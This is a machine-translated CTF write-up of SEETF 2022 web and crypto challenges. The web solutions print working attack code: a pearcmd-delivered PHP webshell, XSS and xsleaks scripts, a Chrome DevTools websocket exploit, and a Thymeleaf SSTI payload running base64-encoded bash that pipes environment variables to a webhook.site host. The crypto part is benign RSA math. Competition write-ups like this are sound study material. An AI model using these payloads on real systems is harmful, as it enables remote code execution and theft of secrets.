SEETF 2022 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

Solo as usual, I solved some crypto and web challenges as part of the peko team, and we ended up in seventh place.

  Scoreboard Screenshot

Web

Sourceless Guessy Web

Testing revealed an LFI, and the first flag was found in ../../../etc/passwd.

For the RCE part, I initially tried using php filter, but it failed, likely due to a prepend path causing the method to fail.

However, the challenge hinted at /phpinfo.php#:~:text=register_argc_argv, which reminded me of the pearcmd method.

So, I set up a php server to serve a webshell download, then used pearcmd to download it and then LFI to access it.

<?php
header('Content-Disposition: attachment; filename="shellpeko.php"');
echo <<<EOF
<?php
system(\$_GET[0]);
?>
EOF;
// http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../usr/local/lib/php/pearcmd.php&+install+-r+/tmp+http://???????.ngrok.io/
// http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/pear/download/shellpeko.php&0=/readflag
// SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}

Super Secure Requests Forwarder

from flask import Flask, request, render_template
import os
import advocate
import requests

app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def index():

    if request.method == 'POST':
        url = request.form['url']

        # Prevent SSRF
        try:
            advocate.get(url)

        except:
            return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")

        r = requests.get(url)
        return render_template('index.html', result=r.text)

    return render_template('index.html')


@app.route('/flag')
def flag():
    if request.remote_addr == '127.0.0.1':
        return render_template('flag.html', FLAG=os.environ.get("FLAG"))

    else:
        return render_template('forbidden.html'), 403


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80, threaded=True)

It uses a third-party module to check SSRF, and the goal is to bypass it to SSRF to http://localhost/flag.

My solution was to use DNS rebinding, like http://a.142.251.42.228.1time.127.0.0.1.1times.repeat.miko.rebind.network/flag to get the flag.

However, the intended solution was to set up a server that redirects to a safe site first, then redirects to the flag.

Flag Portal 1/2

This challenge was actually broken. The intended solution was request smuggling, but due to a misconfiguration in the apache traffic server, simply repeating / bypassed the restriction:

curl --path-as-is 'http://flagportal.chall.seetf.sg:10001//admin' -G --data-urlencode 'backend=http://webhook.site/06eae124-3374-4350-bf71-a84da04149b2'
curl --path-as-is 'http://flagportal.chall.seetf.sg:10001/api//flag-plz' -H 'Admin-Key: spendable-snoring-character-ditzy-sepia-lazily' -F 'target=http://webhook.site/06eae124-3374-4350-bf71-a84da04149b2'

SEE{n0w_g0_s0lv3_th3_n3xt_p4rt_bf38678e8a1749802b381aa0d36889e8}
SEE{y4y_r3qu3st_smuggl1ng_1s_fun_e28557a604fb011a89546a7fdb743fe9}

For the real revenge version, see the author's writeup.

Username Generator

An XSS challenge:

const generate = (length) => {
    var result           = '';
    var characters       = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var charactersLength = characters.length;
    for ( var i = 0; i < length; i++ ) {
        result += characters.charAt(Math.floor(Math.random() * charactersLength));
    }
    return result;
}

const queryString = window.location.search;
const parameters = new URLSearchParams(queryString);
const usernameLength = parameters.get('length');

// Generate a random username and display it
if (usernameLength === null) {
    var name = "loading...";
    window.location.href = "/?length=10";
}
else if (usernameLength.length > 0) {
    var name = generate(+usernameLength);
}
document.getElementById('generatedUsername').innerHTML = `Your generated username is: ${name}`;

When usernameLength.length === 0, it skips the if statement and assigns innerHTML. At this point, name is window.name, so setting window.name in another page and then redirecting to it allows for XSS.

<script>
    js = `fetch("/flag").then(r=>r.text()).then(flag=>(new Image).src=${JSON.stringify(location.href)}+"?"+flag)`
    window.name = `<img src=1 onerror='${js}'>`
    location = 'http://app/?length='
</script>

SEE{x55_15_my_m1ddl3_n4m3_00d21e74f830352781874d57dff7e384}

The Pigeon Files

Another frontend challenge, the main code is:

const noteForm = document.getElementById("note");
const output = document.getElementById("output");

const uuidv4 = () => {
    return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c =>
        (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
    );
}

noteForm.onsubmit = (e) => {
    e.preventDefault();
    window.localStorage.setItem("note", new FormData(noteForm).get("note"));

    const uuid = uuidv4();
    window.localStorage.setItem("uuid", uuid);

    Swal.fire(
        'Viva La Resistance',
        `Here's your personal token: ${uuid}. You will need this to retrieve your note.`,
        'success'
    )
};

const search = (request) => {
    const uuid = window.localStorage.getItem("uuid");
    const note = window.localStorage.getItem("note");

    if (!uuid || !note) {
        Swal.fire(
            'Not found',
            'You need to submit a note first.',
            'error'
        )
        return null;
    }
    
    if (note.startsWith(request.search)) {
        request.result = note;
    }
    else {
        request.result = null;
    }
    
    if (request.token === uuid) {
        request.accessGranted = true;
    }

    return request;
};

// Search for notes
if (location.search) {

    // MooTools awesome query string parsing
    request = String.parseQueryString(location.search.slice(1));
    request = search(request);

    if (request) {
        if (!request.accessGranted) {
            output.textContent = "Access denied.";
        }
        else if (!request.result) {
            output.textContent = "Note not found.";
        }
        else {
            output.textContent = request.result;
            setTimeout(() => {window.location.search = ""}, 5000);
        }
    }
}

The admin bot's localStorage.note contains the flag and waits 120 seconds after visiting, indicating an xsleaks attack.

When accessGranted and a match to the flag occur, it navigates after 5 seconds; otherwise, it doesn't, providing an xsleaks oracle.

The intended solution uses String.parseQueryString for prototype pollution to set accessGranted, but simply using ?accessGranted=1 works because the object returned by search and the input object are the same.

Using this method, counting iframe onload events allows xsleaks to search for the flag:

<script>
	const base = 'http://app/'
	// const base = 'http://localhost:8764/'
	const charset = 'abcdefghijklmnopqrstuvwxyz0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~_}'
	const log = (...args) => {
		fetch('/log_' + String(args[0]), {
			method: 'POST',
			body: JSON.stringify(args, null, 2)
		})
	}
	function go(flag) {
		const div = document.createElement('div')
		document.body.appendChild(div)
		for (const c of charset) {
			const search = flag + c
			const url = base + '?accessGranted=1&search=' + encodeURIComponent(search)
			const ifr = document.createElement('iframe')
			let cnt = 0
			ifr.onload = () => {
				cnt += 1
				if (cnt === 2) {
					log('found', search)
					div.remove()
					go(search)
				}
			}
			ifr.src = url
			div.appendChild(ifr)
		}
	}
	window.onload = () => go('SEE{w4k3_up_5h33pl3_1t')
</script>
SEE{w4k3_up_5h33pl3_1t's_obv10us}

The author's writeup uses a similar concept but with history.length for detection.

Star Cereal Episode 3: The Revenge of the Breakfast

The goal is to access the backend http://app/login.php to read the flag, but there are many obstacles.

nginx.conf:

load_module /usr/lib/nginx/modules/ngx_http_subs_filter_module.so;

events {
    worker_connections 1024;
}
http {

    include /etc/nginx/mime.types;
    sendfile on;

    server {
        listen 80;
    
        root   /var/www/html;
        index  index.html;

        location / {
            try_files $uri @prerender;
        }

        location ~ \.php$ {
            try_files /dev/null @prerender;
        }

        location @prerender {
            proxy_set_header  X-Real-IP $remote_addr;

            # Do or do not, there is no flag.
            proxy_set_header Accept-Encoding "";
            subs_filter_types text/html text/css text/xml;
            subs_filter "SEE{.*}" "SEE{NO_FLAG_FOR_YOU_MUAHAHAHA}" ir;
            
            # https://gist.github.com/thoop/8165802
            set $prerender 0;
            if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
                set $prerender 1;
            }
            if ($args ~ "_escaped_fragment_") {
                set $prerender 1;
            }
            if ($http_user_agent ~ "Prerender") {
                set $prerender 0;
            }
            if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
                set $prerender 0;
            }
            
            resolver 8.8.8.8;
    
            if ($prerender = 1) {
                rewrite .* /$scheme://$host$request_uri? break;
                proxy_pass http://prerender:3000;
            }
            if ($prerender = 0) {
                proxy_pass http://app:80;
            }
        }
    }
}

It proxies traffic to app, but login.php checks the IP, preventing direct flag access:

<?php
	error_reporting(0);
	session_start();

	if (!in_array($_SERVER['HTTP_X_REAL_IP'], ['127.0.0.1', gethostbyname('proxy'), gethostname('prerender')]))
	{
		header('HTTP/1.0 403 Forbidden');
		die('<h1>Forbidden</h1><p>Only admins allowed to login.</p>');
	}
?>

<!DOCTYPE html>
<html lang="en">
	<body>
		<div>
			<p> Welcome back, admin! <p>
			<p> Here's your cereal. </p>
			<img src="images/cereal.jpg" alt="Cereal" width="200" height="200">
			<p> And your flag: <?php echo getenv("FLAG"); ?> </p>
		</div>
	</body>
</html>

Using prerender to bypass it, another issue arises with subs_filter "SEE{.*}" "SEE{NO_FLAG_FOR_YOU_MUAHAHAHA}" ir;. Attempts to use the Range header failed.

Examining prerender's server.js:

'use strict';

const { match } = require('assert');
const prerender = require('prerender');
const prMemoryCache = require('prerender-memory-cache');
const url = require('url');

const server = prerender({
    chromeFlags: ['--no-sandbox', '--headless', '--disable-gpu', '--remote-debugging-port=9222', '--hide-scrollbars', '--disable-dev-shm-usage'],
    forwardHeaders: true,
    chromeLocation: '/usr/bin/chromium-browser'
});

const memCache = Number(process.env.MEMORY_CACHE) || 0;
if (memCache === 1) {
    server.use(prMemoryCache);
}

server.use(prerender.blacklist());
server.use(prerender.httpHeaders());

// Hacker, you are?
// Get flag, you do not.

const validateUrls = (req, res, next) => {

    let matches = url.parse(req.prerender.url).href.match(/^(http:\/\/|https:\/\/)app/gi)
    if (!matches) {
        return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA validate');
    }
    
    next();
}

// Adapted from https://github.com/prerender/prerender/blob/master/lib/plugins/removeScriptTags.js
// except return a 403 instead of replacing the script tag
const noScriptsPlease = (req, res, next) => {
    
    if (!req.prerender.content || req.prerender.renderType != 'html') {
        return next();
    }

    var matches = req.prerender.content.toString().match(/<script(?:.*?)>(?:[\S\s]*?)<\/script>/gi);
    if (matches)
        return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA script');

    matches = req.prerender.content.toString().match(/<link[^>]+?rel="import"[^>]*?>/i);
    if (matches)
        return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA link');

    next();
}

server.use({
    requestReceived: validateUrls,
    pageLoaded: noScriptsPlease
});

server.start();

It only checks if the URL starts with app, so using a domain starting with app or app@???.com bypasses it, allowing prerender to SSRF.

Testing shows it executes JS (using puppeteer) and follows redirects, so executing JS to get the flag is possible.

My unintended solution involved observing --remote-debugging-port=9222, indicating a chance to exploit the Chromium DevTools Protocol. Redirecting to http://localhost:9222/json/new?http://app/login.php opens a new tab and provides the debug websocket URL.

Rendering another page to execute JS, the JS connects to the websocket and uses Runtime.evaluate to execute JS, sending the flag back to my server, bypassing nginx's filter.

Initially, I used Cloudflare workers to get a URL starting with app, so the script is also a Cloudflare workers script:

addEventListener('fetch', event => {
	event.respondWith(handleRequest(event.request).catch(err => new Response(err.stack, { status: 500 })))
})

/**
 * Many more examples available at:
 *   https://developers.cloudflare.com/workers/examples
 * @param {Request} request
 * @returns {Promise<Response>}
 */
async function handleRequest(request) {
	const { pathname } = new URL(request.url)

	if (pathname.startsWith('/redir')) {
		return new Response(
			`
    // http://prerender:3000/render?url=http://app-8763.maple3142.workers.dev/
    <img src=1 onerror="location='http://localhost:9222/json/new?http://app/login.php'">
    `,
			{
				headers: { 'Content-Type': 'text/html' }
			}
		)
	}

	return new Response(
		`
<img src=1 onerror="
window.ws = new WebSocket('ws://localhost:9222/devtools/page/9FD8E30356B8D13E7819AE2B05B18E7F')
ws.onerror = (e=>{document.writeln('error: '+e+Object.keys(e))})
ws.onmessage = (e=>{
  document.writeln('<p>'+e.data+'</p>');
})


ws.onopen = ()=>{
	ws.send(JSON.stringify({
	  id:1,
	  method: 'Runtime.evaluate',
	  params:{
	  	expression: \`fetch('https://webhook.site/06eae124-3374-4350-bf71-a84da04149b2?flag', {method:'POST', body:document.body.innerHTML})\`
	  }
	}))
}
">
  `,
		{
			headers: { 'Content-Type': 'text/html' }
		}
	)
}
// curl -H 'User-Agent: googlebot' 'http://starcereal.chall.seetf.sg:10004/redir' -H 'Host: app-8763.maple3142.workers.dev' -v
// curl -H 'User-Agent: googlebot' 'http://starcereal.chall.seetf.sg:10004/xxxx' -H 'Host: app-8763.maple3142.workers.dev' -v
// SEE{1_c4n't_b3li3v3_1_k33p_g3tt1ng_h4cked!}

This is clearly unintended; the intended solution is in the author's writeup, using prerender's localhost:3000 origin to bypass the Same Origin Policy.

The challenge was inspired by ACSC 2021 - Favorite Emojis, which I also solved using URL parser manipulation.

Log4Security

A Java Spring website, the main HomepageController.java is:

package com.seetf.log4security;

import org.springframework.beans.factory.annotation.Autowired;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;

import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.charset.StandardCharsets;

import java.security.MessageDigest;
import org.apache.commons.codec.binary.Hex;

import com.seetf.log4security.model.UserPreferences;

@Controller
public class HomepageController {
	@Autowired private UserPreferences userPreferences;

	@GetMapping("/")
	public ModelAndView index(ModelMap model) {
		return new ModelAndView("redirect:/home", model);
	}

	@GetMapping("/home")
	public String home(@RequestHeader("User-Agent") String userAgent, Model model) {
		if (userPreferences.getLogging()) {
			userPreferences.getLogger().info("Visited by " + userAgent);
		}
		model.addAttribute("name", userPreferences.getName());
		model.addAttribute("location", userPreferences.getLocation());
		return "home";
	}

	@GetMapping("/logs")
	public String auth(Model model) {
		return "auth";
	}

	@PostMapping("/logs")
	public String logs(@RequestParam("token") String token, Model model) {

		MessageDigest digestStorage;
		try {
			digestStorage = MessageDigest.getInstance("SHA-1");
			digestStorage.update(System.getenv("SUPER_SECRET").getBytes("ascii"));	
		}
		catch (Exception e) {
			model.addAttribute("logs", "Error getting secret token, please contact CTF admins.");
			return "logs";
		}

		if (userPreferences.getLogging()) {
			userPreferences.getLogger().info("Logging in with token " + token);

			// Log login attempt
			String correctToken = new String(Hex.encodeHex(digestStorage.digest()));
			userPreferences.getLogger().info("Login attempt with token " + token + "=" + correctToken);
		}

		// Invalid token
		if (!token.equals(new String(Hex.encodeHex(digestStorage.digest())))) {
			model.addAttribute("logs", "Invalid token");
			return "logs";
		}

		if (userPreferences.getLogging()) {
			try {
				String filename = "/tmp/" + userPreferences.getUuid() + "/access.log";
				Path filePath = Paths.get(filename);
				model.addAttribute("logs", Files.readString(filePath, StandardCharsets.US_ASCII));
			}
			catch (Exception e) {
				System.out.println("Error reading log file: " + e.getMessage());
				model.addAttribute("logs", "Error reading logs");
			}
		}
		else {
			model.addAttribute("logs", "Logging is disabled");
		}
		return "logs";
	}

	@PostMapping("/api/preferences")
	@ResponseBody
	public String preferences(@RequestBody UserPreferences preferences) {
		try {
			userPreferences.setName(preferences.getName());
			userPreferences.setLocation(preferences.getLocation());
			userPreferences.setLogging(preferences.getLogging());
			return "OK";
		} catch (Exception e) {
			return "ERROR";
		}
	}
}

First, bypass /logs login check. The double digest() calls reminded me of ALLES! CTF 2021 - J(ust)-S(erving)-P(ages). The bypass method is the same, exploiting digest() resetting internal state, as documented in the official docs:

Completes the hash computation by performing final operations such as padding. The digest is reset after this call is made.

Enabling logging and using the empty SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709 bypasses it.

Next, for RCE, examine logs.html template:

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Log4Security</title>

        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
        <link th:href="@{/css/main.css}" rel="stylesheet">
        <script defer src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
        <script defer src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
        <script defer src="https://cdnjs.cloudflare.com/ajax/libs/mootools-more/1.6.0/mootools-more-compressed.js"></script>
    </head>
    <body>
        <div class="container my-5">
            <h1>Account Logs</h1>
            <p>Back to <a href="/home">home</a>.</p>
            <p th:each="line : ${#strings.arraySplit('__${logs}__', T(org.apache.commons.lang3.StringUtils).LF)}">
                <span th:text="${line}"></span>
            </p>
       </div>
    </body>
</html>

It's using the Thymeleaf template engine, and __ is unusual. Searching thymeleaf double underscore reveals articles like Exploiting SSTI in Thymeleaf. __...__ is expression preprocessing, e.g., #{selection.__${sel.code}__} first executes ${sel.code}, then #{selection.ALL} if the output is ALL.

This logic resembles eval, so if the output contains }, SSTI is possible.

For '__${logs}__', '+...+' can inject template directives, e.g., '+T(java.lang.Runtime).getRuntime().exec('id')+' executes commands.

Due to Runtime#exec's quirks, use tools like RUNTIME.EXEC PAYLOAD GENERATER to escape and extract the flag.

Setting logging:

fetch("http://log4security.chall.seetf.sg:1337/api/preferences", {
  "headers": {
    "accept": "*/*",
    "accept-language": "zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-CN;q=0.5",
    "cache-control": "no-cache",
    "content-type": "application/json",
    "pragma": "no-cache"
  },
  "referrer": "http://log4security.chall.seetf.sg:1337/home",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": JSON.stringify({name:"peko",location:"miko house",logging:true}),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

Inject SSTI payload via User-Agent:

# https://ares-x.com/tools/runtime-exec/
curl -H 'Cookie: JSESSIONID=D8ACC846B5570CE0254DD880DEF8DCF2' http://log4security.chall.seetf.sg:1337/home -H $'User-Agent: \'+T(java.lang.Runtime).getRuntime().exec(\'bash -c {echo,ZW52IHwgY3VybCB3ZWJob29rLnNpdGUvMDZlYWUxMjQtMzM3NC00MzUwLWJmNzEtYTg0ZGEwNDE0OWIyIC1YIFBPU1QgLWQgQC0=}|{base64,-d}|{bash,-i}\')+\''
# base64 encoded payload:
# env | curl webhook.site/06eae124-3374-4350-bf71-a84da04149b2 -X POST -d @-

Using token da39a3ee5e6b4b0d3255bfef95601890afd80709 to browse /logs reveals the flag.

Charlotte's Web

Another client-side web challenge, the server is simple, only checking if the user is admin and if TOKEN is correct, with CORS enabled:

from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
import os

app = Flask(__name__)
auth = HTTPBasicAuth()

users = {'admin': os.environ.get('SECRET')}


@auth.verify_password
def verify_password(username, password):
    if username in users and password == users.get(username):
        return username


@app.route('/')
@auth.login_required
def index():
    if request.headers.get("TOKEN") == os.environ.get("TOKEN"):
        return os.environ.get("FLAG")

    return "Flag is only available through our Chrome extension."


@app.after_request
def add_header(response):
    response.headers['Access-Control-Allow-Origin'] = request.headers.get("Origin")
    response.headers['Access-Control-Allow-Headers'] = 'Token, Authorization'
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

The main target is a custom Chrome extension, with the manifest:

{
  "name": "Vulnerable Extension",
  "description": "SEETF 2022 - Charlotte's Web",
  "version": "1.0",
  "manifest_version": 3,
  "background": {
    "service_worker": "background.js",
    "type": "module"
  },
  "content_scripts": [
    {
      "js": ["content.js"],
      "run_at": "document_idle",
      "matches": ["<all_urls>"]
    }
  ],
  "action": {
    "default_popup": "popup.html"
  },
  "permissions": ["storage", "tabs", "scripting"],
  "host_permissions": ["<all_urls>"],
  "web_accessible_resources": [
    {
      "resources": ["assets/js/*.js", "assets/fonts/opendyslexic/*"],
      "matches": ["<all_urls>"]
    }
  ]
}

The challenge description states:

We made a Chrome extension to improve web accessibility. But Google keeps saying that we have "broad host permissions" so we can't list it on the web store?

This suggests exploiting the extension's content.js running on all pages. content.js reads JSON from the page and sends load-pageSettings to the background:

const pageSettingsElement = document.getElementById('page-settings');

if (pageSettingsElement) {
    let pageSettings = JSON.parse(pageSettingsElement.innerText);
    chrome.runtime.sendMessage(
        {
            message: "load-pageSettings",
            pageSettings: pageSettings,
        }
    );
    pageSettingsElement.remove();
}

The background.js looks like this:

import * as utils from './assets/js/utils.js';

const getCurrentTab = async () => {
    let queryOptions = { active: true, currentWindow: true };
    let [tab] = await chrome.tabs.query(queryOptions);
    return tab;
}

const changeFontSize = () => {
    getCurrentTab().then((tab) => {
        chrome.scripting.executeScript({
            target: { tabId: tab.id },
            files: [
                "./assets/js/resetFontSize.js",
                "./assets/js/setFontSize.js",
            ],
        });
    });
};

const changeFont = () => {
    getCurrentTab().then((tab) => {
        chrome.scripting.executeScript({
            target: { tabId: tab.id },
            files: [
                "./assets/js/setFont.js",
            ],
        });
    });
}

const applyPageSettings = (newSettings) => {
    chrome.storage.local.get(null, (result) => {

        let settings = utils.merge(result, newSettings);

        // Validate fonts
        let valid = false;
        for (let i = 0; i <= utils.FONTS.length; i++) {
            if (settings.font === utils.FONTS[i]) {
                valid = true;
                break;
            }
        }

        if (!valid) { 
            console.log("Validation failed.")
            return; 
        }

        chrome.storage.local.set(settings, () => {
            if (settings.font)
                changeFont();
            if (settings.fontSize)
                changeFontSize();
            console.log('Applied settings.');
        });
    });
}

chrome.runtime.onMessage.addListener(
    (request, sender, sendResponse) => {
        if (request.message === "load-fontSize") {
            changeFontSize();
            sendResponse({ success: true });
        }
        else if (request.message === "load-fontChange") {
            changeFont();
            sendResponse({ success: true });
        }
        else if (request.message === "load-pageSettings") {
            applyPageSettings(request.pageSettings);
            sendResponse({ success: true });
        }
    }
);

The parsed object is passed to utils.merge, indicating a prototype pollution vulnerability. Examining utils.js:

export const mapElement = (element, callback) => {
    for (let i = 0; i < element.children.length; i += 1) {
        mapElement(element.children[i], callback);
    }
    callback(element);
};

export const FONTS = [
    "Default",
    "Verdana",
    "Tahoma",
    "Georgia",
    "Andika",
    "Helvetica",
    "Arial",
    "Trebuuchet MS",
    "Times New Roman",
    "Courier New"
]

export const isObject = (obj) => {
    return typeof obj === 'function' || typeof obj === 'object';
}

export const merge = (target, source) => {
    for (let key in source) {
        if (isObject(target[key]) && isObject(source[key])) {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

export const setStyle = (elem, propertyObject) => {
    for (var property in propertyObject)
        elem.style[property] = propertyObject[property];
}

There's a clear prototype pollution, but which property to pollute? The font validation loop uses i <= utils.FONTS.length, an off-by-one error, allowing access to utils.FONTS[10].

Polluting Object.prototype[10] === settings.font bypasses font validation.

The font is stored in storage and later used in changeFont, executing another content script setFont.js:

(async () => {
    const src = chrome.runtime.getURL('assets/js/utils.js');
    const utils = await import(src);
    
    const setFont = async (font) => {

        if (!utils.FONTS.includes(font)) {

            // Special fonts, such as OpenDyslexic, are not supported by default.
            if (!font.includes('://')) {
                foo = await import(chrome.runtime.getURL(`assets/js/${font}.js`));
                foo.bar();
            }
            else {
                // Load external fonts.
                const customStyle = JSON.parse(document.getElementById('page-style').innerText);
                utils.setStyle(document.body, utils.merge({fontFamily: 'custom'}, customStyle));
                document.getElementById('page-style').remove();

                fetch(font, {
                    method: 'GET',
                    headers: {
                        'TOKEN': "REDACTED"
                    }
                }).then(response => response.text()).then(text => { 
                    const style = document.createElement("style");
                    style.textContent = text;
                    document.head.appendChild(style);
                });
            }
        }
        else if (font === 'Default') {

            // Reset font to original
            window.location.reload();
        }
        else {
            
            // Change font
            utils.mapElement(document.querySelector('body'), (element) => {
                element.style.fontFamily = font;
            });
        }
    }

    chrome.storage.local.get('font', async (result) => {
        await setFont(result.font);
        console.log('Changed font.');
    });
})();

Setting font to a non-utils.FONTS value enters the upper branch. It's unclear whether it uses import or fetch.

Assuming import, check if any extension script allows LFI-like behavior. popup.js might cause XSS, but font === '../../popup.js' violates the manifest's web_accessible_resources restriction, failing.

In the fetch branch, it uses TOKEN to access any URL, with another prototype pollution in the content script environment. Setting a server URL retrieves TOKEN, but accessing the flag requires HTTP basic auth.

With CORS and Access-Control-Allow-Credentials: true, the bot can fetch the flag from my page with TOKEN and credentials: 'include', revealing the flag:

<div id="page-settings">{
    "__proto__": {
        "10": "https://webhook.site/06eae124-3374-4350-bf71-a84da04149b2"
    },
    "font": "https://webhook.site/06eae124-3374-4350-bf71-a84da04149b2"
}</div>
<div id="page-style">{}</div>
<script>
    window.onload = ()=>{
        fetch('http://app/', {
            headers: {
                TOKEN: 'promptly-mushroom-chastise'
            },
            credentials: 'include'
        }).then(r=>r.text()).then(flag=>(new Image).src=location.href+'?flag='+flag)
    }
</script>
SEE{1_l0v3_chr0m3_3xt3ns10n5_ca6eca1ad886e25437554b9b70d71a8a}

The page-style prototype pollution seems unused, indicating a partially unintended solution.

The author's writeup shows the intended solution, polluting credentials: include to request http://app/ and extracting the flag from the style tag. I didn't realize prototype pollution affects browser APIs.

Crypto

Close Enough

A standard RSA challenge, but q=nextPrime(p)q=\operatorname{nextPrime}(p), so use Fermat factorization.

from Crypto.PublicKey import RSA
from Crypto.Util.number import *

key = RSA.import_key(open("key").read())
c = 4881495507745813082308282986718149515999022572229780274224400469722585868147852608187509420010185039618775981404400401792885121498931245511345550975906095728230775307758109150488484338848321930294974674504775451613333664851564381516108124030753196722125755223318280818682830523620259537479611172718588812979116127220273108594966911232629219195957347063537672749158765130948724281974252007489981278474243333628204092770981850816536671234821284093955702677837464584916991535090769911997642606614464990834915992346639919961494157328623213393722370119570740146804362651976343633725091450303521253550650219753876236656017


def fermat(x, mx):
    a = floor(sqrt(x))
    b2 = a * a - x
    cnt = 0
    while True:
        if is_square(b2):
            b = floor(sqrt(b2))
            return a + b, a - b
        a += 1
        cnt += 1
        if cnt == mx:
            return
        b2 = a * a - x


p, q = fermat(key.n, 1000)
print(p, q)
d = inverse_mod(key.e, (p - 1) * (q - 1))
m = power_mod(c, d, key.n)
print(long_to_bytes(m))
# SEE{i_love_really_secure_algorithms_b5c0b187fe309af0f4d35982fd961d7e}

Lost Modulus

from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long

with open("flag.txt", "rb") as f:
    FLAG = f.read()

n = bytes_to_long(FLAG)

#make sure i have a big modulus
while n.bit_length() < 2048:
    n *= n

def encrypt(m1, m2):
    e = getPrime(256)
    assert m1.bit_length() >= 1600 and long_to_bytes(m1).startswith(b"SEE{"), 'first message must be at least 1600 bits and begin with "SEE{"'
    assert 500 <= m2.bit_length() <= 600, 'second message must be within 500 to 600 bits'

    return pow(m1, e, n), pow(m2, e, n)


def main():
    try:
        m1 = int(input("Message 1 (as integer) : ").strip())
        m2 = int(input("Message 2 (as integer) : ").strip())
        c1, c2 = encrypt(m1, m2)
        print(f"\nCiphers: \n{[c1,c2]}")
    except Exception as e:
        print(e)

if __name__ == '__main__':
    main()

The goal is to use gcd to find nn, requiring m1m_1 and m2m_2 to be related. For the given size, m1=m23m_1=m_2^3 works.

However, m1m_1 must start with SEE{, so I chose a random SEE{ starting m1m_1, found m2=m13m_2={\lfloor{\sqrt[3]{m_1}}\rfloor}, then updated m1=m23m_1=m_2^3. The 4-byte SEE{ is unaffected by floor truncation.

Connect multiple times to gcd out nn, then brute-force the exponent.

from pwn import *
from Crypto.Util.number import *
import os
import gmpy2
import ast


def gen():
    m1 = bytes_to_long(b"SEE{" + os.urandom(1700 // 8 - 4))
    m2 = int(gmpy2.iroot(m1, 3)[0])
    m1 = m2**3

    io = remote("fun.chall.seetf.sg", 30004)
    io.sendlineafter(b"Message 1 (as integer) : ", str(m1).encode())
    io.sendlineafter(b"Message 2 (as integer) : ", str(m2).encode())
    io.recvuntil(b"Ciphers: \n")
    c1, c2 = ast.literal_eval(io.recvlineS().strip())
    return c2**3 - c1


x = gcd(gcd(gen(), gen()), gen())
for i in range(2, 10):
    r, exact = gmpy2.iroot(x, i)
    if exact:
        print(i, long_to_bytes(r))
# SEE{common_moduli_with_common_exponents_daf4ede8dda5c}

UniveRSAlity

import math, json
from secrets import token_urlsafe
from Crypto.Util.number import isPrime, bytes_to_long, long_to_bytes

def main():
    try:
        # create token
        token = token_urlsafe(8)
        js = json.dumps({'token': token})
        
        # select primes
        print(f'Welcome to the RSA testing service. Your token is "{token}".')
        print('Please give me 128-bit primes p and q:')
        p = int(input('p='))
        assert isPrime(p) and p.bit_length() == 128, 'p must be a 128-bit prime'
        assert str(float(math.pi)) in str(float(p)), 'p does not look like a certain universal constant'
        q = int(input('q='))
        assert isPrime(q) and q.bit_length() == 128, 'q must be a 128-bit prime'
        assert str(float(math.e)) in str(float(q)), 'q does not look like a certain universal constant'

        # encode
        print('We will use e=65537 because it is good practice.')
        e = 65537
        m = bytes_to_long(js.encode())
        c = pow(m, e, p * q)

        # decode
        print('Now what should the corresponding value of d be?')
        d = int(input('d='))
        m = pow(c, d, p * q)
        
        # interpret as json
        js = json.loads(long_to_bytes(m).decode())
        assert js['token'] == token, 'Invalid token!'
        print('RSA test passed!')

        if 'flag' in js:
            from secret import flag
            print(flag)
    
    except Exception as e:
        print(e)

if __name__ == '__main__':
    main()

First, convert to floats containing π\pi and ee for pp and qq, using brute force.

Next, find dd such that (me)dm(modpq)(m^e)^d \equiv m' \pmod{pq}, where mm is the original JSON and mm' is the modified JSON (with an added flag key).

Ensure n=pqn=pq is 256 bits, so the JSON must be compact to fit 32 bytes.

